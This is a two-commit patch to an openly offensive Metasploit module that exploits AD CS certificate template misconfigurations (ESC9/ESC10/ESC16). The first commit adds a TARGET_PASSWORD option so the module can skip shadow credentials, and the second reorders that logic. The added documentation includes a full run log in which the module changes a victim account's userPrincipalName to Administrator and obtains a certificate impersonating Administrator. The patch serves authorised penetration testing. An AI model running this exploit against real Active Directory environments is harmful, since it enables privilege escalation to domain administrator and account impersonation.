From e9ab1d0839aa27ead8418bde17747f64bbf7f14c Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 23 Sep 2025 14:37:55 -0700 Subject: [PATCH 1/2] Update esc_update_ldap module so shadow creds not required --- .../admin/dcerpc/esc_update_ldap_object.md | 69 +++++++++++++++++++ .../admin/dcerpc/esc_update_ldap_object.rb | 35 +++++++--- 2 files changed, 93 insertions(+), 11 deletions(-) diff --git a/documentation/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.md b/documentation/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.md index 3a46afc977d3d..4fc1c91195f5c 100644 --- a/documentation/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.md +++ b/documentation/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.md @@ -36,6 +36,9 @@ The certificate template to issue, e.g., "User". ### TARGET_USERNAME The username of the target account whose LDAP object will be updated and for whom the certificate will be requested. +### TARGET_PASSWORD +The password of the target username. Not required. The module will use Shadow Credentials to authenticate as the target user if this is left blank. + ### UPDATE_LDAP_OBJECT The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`. @@ -135,6 +138,72 @@ msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run [*] Auxiliary module execution completed ``` +### ESC9 - Update userPrincipalName when you already have `TARGET_PASSWORD`. See shadow credentials don't get created / used +``` +msf auxiliary(admin/dcerpc/esc_update_ldap_object) > options + +Module options (auxiliary/admin/dcerpc/esc_update_ldap_object): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ADD_CERT_APP_POLICY no Add certificate application policy OIDs + ALT_DNS no Alternative certificate DNS + ALT_SID no Alternative object SID + ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) + CA kerberos-DC2-CA yes The target certificate authority + CERT_TEMPLATE User yes The certificate template + LDAPDomain kerberos.issue yes The domain to authenticate to + LDAPPassword N0tpassword! yes The password to authenticate with + LDAPUsername user1 yes The username to authenticate with, who must have permissions to update the TARGET_USERNAME + SSL false no Enable SSL on the LDAP connection + TARGET_PASSWORD N0tpassword! no The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticaet as the TARGET_USERNAME + TARGET_USERNAME user2 yes The username of the target LDAP object (the victim account). + UPDATE_LDAP_OBJECT userPrincipalName yes Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert. (Accepted: userPrincipalName, dNSHostName) + UPDATE_LDAP_OBJECT_VALUE Administrator yes The account name you wish to impersonate + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 172.16.199.200 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 445 no The target port (TCP) + + +Auxiliary action: + + Name Description + ---- ----------- + REQUEST_CERT Request a certificate + + + +View the full module info with the info, or info -d command. + +msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run +[*] Running module against 172.16.199.200 +[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute +[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST +[*] Current value of user2's userPrincipalName: +[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator... +[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator +[+] The operation completed successfully! +[+] 172.16.199.200:445 - The requested certificate was issued. +[*] 172.16.199.200:445 - Certificate Policies: +[*] 172.16.199.200:445 - Certificate UPN: Administrator +[*] 172.16.199.200:445 - Certificate stored at: /home/msfuser/.msf4/loot/20250923135918_default_172.16.199.200_windows.ad.cs_341723.pfx +[*] 172.16.199.200:445 - Reverting ldap object +[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute +[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST +[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue... +[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf auxiliary(admin/dcerpc/esc_update_ldap_object) > +``` + ### ESC9 - Update dnsHostName to `dc2.kerberos.issue` ``` msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200 diff --git a/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb b/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb index 332deb36066dd..0787ea5d3a071 100644 --- a/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb +++ b/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb @@ -22,9 +22,10 @@ def initialize(info = {}) This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user. The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the - admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the - admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via - MS-ICPR. The resulting certificate can be used for various operations, such as authentication. + admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is + not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user + and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as + authentication. The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are reverted after execution to maintain system integrity. @@ -64,7 +65,8 @@ def initialize(info = {}) OptString.new('LDAPPassword', [true, 'The password to authenticate with']), OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]), OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']), - OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser']) + OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser']), + OptString.new('TARGET_PASSWORD', [false, 'The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticate as the TARGET_USERNAME'], aliases: ['SMBPass']) ]) register_advanced_options( @@ -200,18 +202,29 @@ def action_request_cert @original_value = call_ldap_object_module('UPDATE', new_value) fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE']) - # Call the shadow credentials module to add the device and get the cert path - print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}") - @device_id, cert_path = call_shadow_credentials_module('add') - hash = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS']) + smbpass = '' + + if datastore['LDAPUsername'] == datastore['TARGET_USERNAME'] + smbpass = datastore['LDAPPassword'] + elsif datastore['TARGET_PASSWORD'].present? + smbpass = datastore['TARGET_PASSWORD'] + else + # Call the shadow credentials module to add the device and get the cert path + print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}") + @device_id, cert_path = call_shadow_credentials_module('add') + smbpass = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS']) + end + with_ipc_tree do |opts| datastore['SMBUser'] = datastore['TARGET_USERNAME'] - datastore['SMBPass'] = hash + datastore['SMBPass'] = smbpass request_certificate(opts) end ensure - print_status('Removing shadow credential') - call_shadow_credentials_module('remove', device_id: @device_id) + unless @device_id.nil? + print_status('Removing shadow credential') + call_shadow_credentials_module('remove', device_id: @device_id) + end print_status('Reverting ldap object') revert_ldap_object end From 7b3c82f2e630aed022e61a4caead7bca4cd4a91f Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 25 Sep 2025 13:35:41 -0700 Subject: [PATCH 2/2] Responded to comments --- modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb b/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb index 0787ea5d3a071..c6f19fa18f59e 100644 --- a/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb +++ b/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb @@ -204,10 +204,10 @@ def action_request_cert smbpass = '' - if datastore['LDAPUsername'] == datastore['TARGET_USERNAME'] - smbpass = datastore['LDAPPassword'] - elsif datastore['TARGET_PASSWORD'].present? + if datastore['TARGET_PASSWORD'].present? smbpass = datastore['TARGET_PASSWORD'] + elsif datastore['LDAPUsername'] == datastore['TARGET_USERNAME'] + smbpass = datastore['LDAPPassword'] else # Call the shadow credentials module to add the device and get the cert path print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")